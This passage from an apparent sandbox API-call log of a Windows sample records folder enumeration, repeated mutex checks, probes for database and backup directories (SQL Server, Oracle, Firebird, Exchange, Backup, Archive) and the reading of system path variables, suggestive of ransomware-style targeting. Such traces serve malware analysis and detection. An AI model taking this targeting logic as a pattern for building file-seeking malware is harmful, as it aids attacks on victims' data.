(pMem=0x555b78) returned 0x440004 [0050.318] GlobalUnlock (hMem=0x440004) returned 0 [0050.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3f383060, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f383060, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0050.318] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0050.318] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.318] GlobalLock (hMem=0x440004) returned 0x550170 [0050.318] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.318] GlobalUnlock (hMem=0x440004) returned 0 [0050.318] GlobalLock (hMem=0x440004) returned 0x550170 [0050.318] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.318] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.318] GlobalUnlock (hMem=0x440004) returned 0 [0050.318] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.318] GlobalUnlock (hMem=0x44000c) returned 0 [0050.318] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.318] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3f383060, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f383060, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.318] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.318] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.318] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.318] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.318] GlobalUnlock (hMem=0x44000c) returned 0 [0050.318] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.319] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.319] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.319] GlobalUnlock (hMem=0x44000c) returned 0 [0050.319] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.319] GlobalUnlock (hMem=0x440004) returned 0 [0050.319] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.319] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0050.319] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.319] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.319] GlobalLock (hMem=0x440004) returned 0x550170 [0050.319] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.319] GlobalUnlock (hMem=0x440004) returned 0 [0050.319] GlobalLock (hMem=0x440004) returned 0x550170 [0050.319] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.319] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.319] GlobalUnlock (hMem=0x440004) returned 0 [0050.319] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.319] GlobalUnlock (hMem=0x44000c) returned 0 [0050.319] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.319] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.319] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.319] GlobalUnlock (hMem=0x44000c) returned 0 [0050.319] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.319] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.319] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.319] GlobalUnlock (hMem=0x44000c) returned 0 [0050.319] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.319] GlobalUnlock (hMem=0x440004) returned 0 [0050.320] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.320] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", len=0x3d | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned 1 [0050.320] GlobalLock (hMem=0x440004) returned 0x550170 [0050.320] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.320] GlobalUnlock (hMem=0x440004) returned 0 [0050.320] GlobalLock (hMem=0x440004) returned 0x550170 [0050.320] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.320] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.320] GlobalUnlock (hMem=0x440004) returned 0 [0050.320] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.320] GlobalUnlock (hMem=0x44000c) returned 0 [0050.320] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夌U壠U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.320] GetLastError () returned 0x3 [0050.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0050.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="帜R䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0050.321] GetLastError () returned 0x2 [0050.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="帜R䱠@嚔U企@\x18?T\x18;")) returned 0xffffffff [0050.322] GetLastError () returned 0x2 [0050.322] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.322] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="帜R䱠@ꍴR企@\x18?T\x18D")) returned 0xffffffff [0050.322] GetLastError () returned 0x2 [0050.322] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="帜R䱠@塤U企@\x18嚔U\x18j")) returned 0xffffffff [0050.323] GetLastError () returned 0x2 [0050.323] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="帜R䱠@삌R企@\x18?T\x18q")) returned 0xffffffff [0050.323] GetLastError () returned 0x2 [0050.323] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\嚐UÀ") returned 6 [0050.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="帜R䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0050.324] GetLastError () returned 0x2 [0050.324] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="帜R䱠@ꍴR企@\x18?T\x18\x81")) returned 0xffffffff [0050.324] GetLastError () returned 0x2 [0050.324] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="帜R䱠@삌R企@\x18?T\x18\x88")) returned 0xffffffff [0050.325] GetLastError () returned 0x2 [0050.325] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="帜R䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0050.325] GetLastError () returned 0x2 [0050.326] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="帜R䱠@ꍴR企@\x18?T\x18\x97")) returned 0xffffffff [0050.326] GetLastError () returned 0x2 [0050.326] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.326] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.326] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.326] GlobalUnlock (hMem=0x44000c) returned 0 [0050.326] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.326] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.326] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.326] GlobalUnlock (hMem=0x44000c) returned 0 [0050.326] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.326] GlobalUnlock (hMem=0x440004) returned 0 [0050.327] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.327] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.327] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.327] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0050.327] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.327] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.327] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.327] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.328] GlobalLock (hMem=0x440004) returned 0x550170 [0050.328] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.328] GlobalUnlock (hMem=0x440004) returned 0 [0050.328] GlobalLock (hMem=0x440004) returned 0x550170 [0050.328] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.328] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.328] GlobalUnlock (hMem=0x440004) returned 0 [0050.328] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.328] GlobalUnlock (hMem=0x44000c) returned 0 [0050.332] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.333] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.333] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0050.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.333] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft 